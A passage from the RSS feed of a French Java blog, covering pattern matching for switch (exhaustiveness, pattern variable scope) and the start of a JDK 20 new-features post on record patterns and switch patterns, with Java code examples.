&lt;p&gt;Donc, il sera nécessaire de corriger afin que la compilation fonctionne&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;enum Couleur { ROUGE, BLEU, ORANGE }

int nombreLettres = switch (couleur) { &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    case ROUGE -&amp;gt; 5;
    case BLEU -&amp;gt; 4;
    case ORANGE -&amp;gt; 6;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Là encore, le compilateur est notre allié.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;D&amp;#8217;où l&amp;#8217;intérêt d&amp;#8217;éviter l&amp;#8217;usage de l&amp;#8217;étiquette &lt;code&gt;default&lt;/code&gt; car sinon nous perdons l&amp;#8217;avantage de ces contrôles par le compilateur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce principe fonctionne aussi avec les classes scellées. Le compilateur provoque des erreurs si nous modifions la hiérarchie.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;exhaustivité_et_compatibilité&quot;&gt;Exhaustivité et compatibilité&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe d&amp;#8217;exhaustivité s&amp;#8217;appliquent sur l&amp;#8217;expression &lt;code&gt;switch&lt;/code&gt; et l&amp;#8217;instruction &lt;code&gt;switch&lt;/code&gt;. Cependant, pour des raisons de compatibilité, les instructions &lt;code&gt;switch&lt;/code&gt; existant dans le code continuent à compiler même si l&amp;#8217;exhaustivité n&amp;#8217;est pas respecté, à condition qu&amp;#8217;aucune nouvelle fonctionnalité soit utilisée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;ealed interface S permits A, B, C {}
final class A implements S {}
final class B implements S {}
record C(int i) implements S {}    &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;

static void switchStatementExhaustive(S s) {
    switch (s) {                   &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
        case A a :
            System.out.println(&quot;A&quot;);
            break;
        case C c :
            System.out.println(&quot;C&quot;);
            break;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Implicitement final car c&amp;#8217;est un enregistrement.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Normalement il devrait avoir une erreur car le &lt;code&gt;switch&lt;/code&gt; n&amp;#8217;est pas exhaustive. Cependant, l&amp;#8217;absence de la classe B est permise pour des raisons de compatibilité.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;portée_des_variables_des_motifs&quot;&gt;Portée des variables des motifs&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La portée des variables est étendu dans trois cas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Portée d&amp;#8217;une déclaration de variable de motif, incluant la condition (mot réservé &lt;code&gt;when&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela donne le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testPortee1(Object obj) {
    switch (obj) {
        case Character c
        when c.charValue() == 7:
            System.out.println(&quot;Ding!&quot;);
            break;
        default:
            break;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Portée d&amp;#8217;une déclaration de variable de motif dans une étiquette incluant l&amp;#8217;expression, le bloc ou l&amp;#8217;instruction &lt;code&gt;throw&lt;/code&gt; qui apparaît à droite de la flèche.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici l&amp;#8217;illustration avec le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testPortee2(Object obj) {
    switch (obj) {
        case Character c -&amp;gt; {
            if (c.charValue() == 7) {
                System.out.println(&quot;Ding!&quot;);
            }
            System.out.println(&quot;Character&quot;);
        }
        case Integer i -&amp;gt;
            throw new IllegalStateException(&quot;Argument invalide: &quot;
                                            + i.intValue());
        default -&amp;gt; {
            break;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Portée d&amp;#8217;une déclaration de variable de motif incluant un groupe d&amp;#8217;instructions avec étiquette. La déclaration d&amp;#8217;une variable de motif est interdit&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons le code valide&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testPorteValide(Object obj) {
    switch (obj) {
        case Character c:
            if (c.charValue() == 7) {
                System.out.print(&quot;Ding &quot;);
            }
            if (c.charValue() == 9) {
                System.out.print(&quot;Tab &quot;);
            }
            System.out.println(&quot;Character&quot;);
        default:
            System.out.println();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, voici le code invalide&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;tatic void testScopeError(Object obj) {
    switch (obj) {
        case Character c:
            if (c.charValue() == 7) {
                System.out.print(&quot;Ding &quot;);
            }
            if (c.charValue() == 9) {
                System.out.print(&quot;Tab &quot;);
            }
            System.out.println(&quot;character&quot;);
        case Integer i:                 &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
            System.out.println(&quot;An integer &quot; + i);
        default:
            break;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Erreur pendant la compilation&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/406&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 406: Pattern matching for switch (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/420&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 420: Pattern matching for switch (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/427&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 427: Pattern matching for switch (Third Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/441&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 441: Pattern matching for switch&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#375_pattern_matching_for_instanceof_second_preview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Billet sur JEP 375 - Pattern Matching for instanceof (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2021/06/JEP-406-Pattern-Matching-for-switch-preview.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Billet sur JEP 406 - Pattern Matching for switch (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2022/05/JEP-427-Pattern-Matching-for-switch.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Billet sur JEP 427 - Pattern Matching for switch (Third Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JDK 20 Nouveautés</title>
      <link>https://www.lilian-benoit.fr/2023/03/JDK20-Nouveautes.html</link>
      <pubDate>lun., 27 mars 2023 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2023/03/JDK20-Nouveautes.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_en_mode_aperçu&quot;&gt;Fonctionnalités en mode Aperçu&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#432_record_patterns_second_preview&quot;&gt;432 - Record Patterns (Second Preview)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#433_pattern_matching_for_switch_fourth_preview&quot;&gt;433 - Pattern Matching for switch (Fourth Preview)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#dominance_entre_les_types_et_les_sous_types&quot;&gt;Dominance entre les types et les sous-types&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exhaustivité_des_expressions&quot;&gt;Exhaustivité des expressions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#support_du_null&quot;&gt;Support du &lt;code&gt;null&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#raffinement_des_cas&quot;&gt;Raffinement des cas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#434_foreign_function_memory_api_second_preview&quot;&gt;434 - Foreign Function &amp;amp; Memory API (Second Preview)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#436_virtual_threads_second_preview&quot;&gt;436 - Virtual Threads (Second Preview)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_en_mode_incubation&quot;&gt;Fonctionnalités en mode Incubation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#429_scoped_values_incubator&quot;&gt;429 - Scoped Values (Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#437_structured_concurrency_second_incubator&quot;&gt;437 - Structured Concurrency (Second Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#438_vector_api_firth_incubator&quot;&gt;438 - Vector API (Firth Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La version 20 du JDK est disponible depuis mardi 21 mars 2023 sur le site &lt;a href=&quot;https://jdk.java.net/20/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jdk.java.net&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La version 20 n&amp;#8217;est pas une version LTS (Long Term Support). Par conséquent, le support existe tant que la prochaine version n&amp;#8217;est pas sortie, soit le JDK 21 (septembre 2023).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour Eclipse Adoptium, les packages sont en cours de construction selon les plateformes. L&amp;#8217;avancé des travaux peut être suivi avec la fiche suivante &lt;a href=&quot;https://github.com/adoptium/adoptium/issues/218&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;issue #218&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_en_mode_aperçu&quot;&gt;Fonctionnalités en mode Aperçu&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;432_record_patterns_second_preview&quot;&gt;&lt;a href=&quot;https://openjdk.org/jeps/432&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;432 - Record Patterns (Second Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;appliquer le filtrage par motif au niveau des enregistrements.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Pour plus de précision sur le filtrage par motif, vous pouvez consulter ce &lt;a href=&quot;/2021/03/JDK16-Nouveautes.html#394_pattern_matching_for_instanceof&quot;&gt;billet&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Pour plus de précision sur les enregistrements, vous pouvez consulter ce &lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#384_records_second_preview&quot;&gt;billet&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour un enregistrement, nous pouvons de définir des classes sous une forme simplifiée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Point(int x, int y) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A l&amp;#8217;aide du filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;, nous pouvons écrire le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSomme(Object o) {
    if (o instanceof Point p) {
        int a = p.x();
        int b = p.y();
        System.out.println(a + b);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous allons pouvoir aller plus loin en écrivant tout simplement le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;void afficheSomme(Object o) {
    if (o instanceof Point(int a, int b)) {
        System.out.println(a + b);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2022/06/JEP-405-Record-Patterns.html&quot;&gt;billet dédié sur le premier aperçu&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce second aperçu apporte&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;la suppression du support des filtrages par motif pour les enregistrements nommées&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;le support de l&amp;#8217;inférence de type pour les filtrages par motif pour les enregistrements génériques.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;le support de l&amp;#8217;utilisation de l&amp;#8217;enregistrement au niveau de l&amp;#8217;instruction &lt;code&gt;for&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons détailler le dernier point par un exemple.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void dump(Point[] pointArray) {
    for (Point(var x, var y) : pointArray) {           &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
        System.out.println(&quot;(&quot; + x + &quot;, &quot; + y + &quot;)&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Filtrage par motif au niveau de l&amp;#8217;en-tête de l&amp;#8217;instruction for&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;433_pattern_matching_for_switch_fourth_preview&quot;&gt;&lt;a href=&quot;https://openjdk.org/jeps/433&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;433 - Pattern Matching for switch (Fourth Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est le quatrième aperçu, l&amp;#8217;objectif reste le même. C&amp;#8217;est à dire simplifier l&amp;#8217;écriture du code en utilisant le filtrage par motif pour les &lt;code&gt;switch&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, nous avons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatter(Object o) {
    String formatted = &quot;unknown&quot;;
    if (o instanceof Integer i) {
        formatted = String.format(&quot;int %d&quot;, i);
    } else if (o instanceof Long l) {
        formatted = String.format(&quot;long %d&quot;, l);
    } else if (o instanceof Double d) {
        formatted = String.format(&quot;double %f&quot;, d);
    } else if (o instanceof String s) {
        formatted = String.format(&quot;String %s&quot;, s);
    }
    return formatted;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec le filtrage par motif au niveau des &lt;code&gt;switch&lt;/code&gt;, nous obtenons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -&amp;gt; String.format(&quot;int %d&quot;, i);
        case Long l    -&amp;gt; String.format(&quot;long %d&quot;, l);
        case Double d  -&amp;gt; String.format(&quot;double %f&quot;, d);
        case String s  -&amp;gt; String.format(&quot;String %s&quot;, s);
        default        -&amp;gt; o.toString();
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A travers les différentes propositions, nous avons les améliorations suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dominance_entre_les_types_et_les_sous_types&quot;&gt;Dominance entre les types et les sous-types&lt;/h3&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void error(Object o) {
    switch(o) {
        case CharSequence cs -&amp;gt;
            System.out.println(&quot;Longueur d&apos;une séquence : &quot; + cs.length());
        case String s -&amp;gt;    // Erreur, le motif est dominé par le motif précédent
            System.out.println(&quot;Une chaîne de caractère : &quot; + s);
        default -&amp;gt; {
            break;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, nous avons la hiérarchie suivante pour la classe &lt;code&gt;String&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2023/03/hierarchie-string.png&quot; alt=&quot;hierarchie string&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;exhaustivité_des_expressions&quot;&gt;Exhaustivité des expressions&lt;/h3&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static int coverage(Object o) {
    return switch (o) {         // Erreur - pas exhaustif
        case String s  -&amp;gt; s.length();
        case Integer i -&amp;gt; i;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;expression &lt;code&gt;switch&lt;/code&gt; précédent est en erreur car le &lt;code&gt;switch&lt;/code&gt; est réalisé sur &lt;code&gt;Object&lt;/code&gt;, donc tous les cas ne sont pas traités.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static int coverage(Object o) {
    return switch (o) {
        case String s  -&amp;gt; s.length();
        case Integer i -&amp;gt; i;
        default -&amp;gt; 0;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, il est nécessaire d&amp;#8217;ajouter des cas (ou à minima &lt;code&gt;default&lt;/code&gt;) pour couvrir tous les autres cas.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;support_du_null&quot;&gt;Support du &lt;code&gt;null&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela devient tout simplement un cas que nous pouvons traiter sans être obligé de protéger le switch.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test(Object o) {
    switch (o) {
        case null      -&amp;gt; throw new NullPointerException();
        case String s  -&amp;gt; System.out.println(&quot;String: &quot;+s);
        case Integer i -&amp;gt; System.out.println(&quot;Integer&quot;);
        default        -&amp;gt; System.out.println(&quot;default&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;raffinement_des_cas&quot;&gt;Raffinement des cas&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le mot clé &lt;code&gt;when&lt;/code&gt; est introduit afin d&amp;#8217;affiner le cas du switch.
Dans l&amp;#8217;exemple ci-dessous, nous avons deux cas pour traiter les &lt;code&gt;Triangles&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;olist arabic&quot;&gt;
&lt;ol class=&quot;arabic&quot;&gt;
&lt;li&gt;
&lt;p&gt;Triangle avec une aire supérieur à 100&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les autres triangles&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testTriangle(Shape s) {
    switch (s) {
        case null -&amp;gt;
            { break; }
        case Triangle t
        when t.calculateArea() &amp;gt; 100 -&amp;gt;
            System.out.println(&quot;Large triangle&quot;);
        case Triangle t -&amp;gt;
            System.out.println(&quot;Small triangle&quot;);
        default -&amp;gt;
            System.out.println(&quot;Non-triangle&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le dernier aperçu, nous avons quelques précisions supplémentaires :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dans le cas de l&amp;#8217;exhaustivité du &lt;code&gt;switch&lt;/code&gt;, c&amp;#8217;est un &lt;code&gt;MatchException&lt;/code&gt; au lieu de &lt;code&gt;IncompatibleClassChangeError&lt;/code&gt; si un label est manquant dans le cas de traitement d&amp;#8217;un &lt;code&gt;Enum&lt;/code&gt; (lors de l&amp;#8217;exécution).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Simplification de la grammaire&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Inférence des types pour le filtrage par motif pour les enregistrements génériques (comme pour la JEP précédente)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/06/JEP-406-Pattern-Matching-for-switch-preview.html&quot;&gt;billet dédié sur le premier aperçu&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
